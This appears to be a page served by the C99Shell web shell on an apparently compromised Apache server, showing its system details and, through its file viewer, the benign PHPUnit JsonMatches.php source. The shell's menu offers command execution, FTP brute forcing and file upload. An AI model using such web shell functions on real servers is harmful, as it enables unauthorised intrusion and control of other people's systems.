!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/notification/vendor/phpunit/phpunit/src/Framework/Constraint/   drwxr-xr-x
Free 13.22 GB of 57.97 GB (22.81%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     JsonMatches.php (2.98 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Framework\Constraint;

use function 
json_decode;
use function 
sprintf;
use 
PHPUnit\Framework\ExpectationFailedException;
use 
PHPUnit\Util\Json;
use 
SebastianBergmann\Comparator\ComparisonFailure;

/**
 * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit
 */
final class JsonMatches extends Constraint
{
    
/**
     * @var string
     */
    
private $value;

    public function 
__construct(string $value)
    {
        
$this->value $value;
    }

    
/**
     * Returns a string representation of the object.
     */
    
public function toString(): string
    
{
        return 
sprintf(
            
'matches JSON string "%s"',
            
$this->value
        
);
    }

    
/**
     * Evaluates the constraint for parameter $other. Returns true if the
     * constraint is met, false otherwise.
     *
     * This method can be overridden to implement the evaluation algorithm.
     *
     * @param mixed $other value or object to evaluate
     */
    
protected function matches($other): bool
    
{
        [
$error$recodedOther] = Json::canonicalize($other);

        if (
$error) {
            return 
false;
        }

        [
$error$recodedValue] = Json::canonicalize($this->value);

        if (
$error) {
            return 
false;
        }

        return 
$recodedOther == $recodedValue;
    }

    
/**
     * Throws an exception for the given compared value and test description.
     *
     * @param mixed             $other             evaluated value or object
     * @param string            $description       Additional information about the test
     * @param ComparisonFailure $comparisonFailure
     *
     * @throws \PHPUnit\Framework\Exception
     * @throws \SebastianBergmann\RecursionContext\InvalidArgumentException
     * @throws ExpectationFailedException
     *
     * @psalm-return never-return
     */
    
protected function fail($other$descriptionComparisonFailure $comparisonFailure null): void
    
{
        if (
$comparisonFailure === null) {
            [
$error$recodedOther] = Json::canonicalize($other);

            if (
$error) {
                
parent::fail($other$description);
            }

            [
$error$recodedValue] = Json::canonicalize($this->value);

            if (
$error) {
                
parent::fail($other$description);
            }

            
$comparisonFailure = new ComparisonFailure(
                
json_decode($this->value),
                
json_decode($other),
                
Json::prettify($recodedValue),
                
Json::prettify($recodedOther),
                
false,
                
'Failed asserting that two json values are equal.'
            
);
        }

        
parent::fail($other$description$comparisonFailure);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--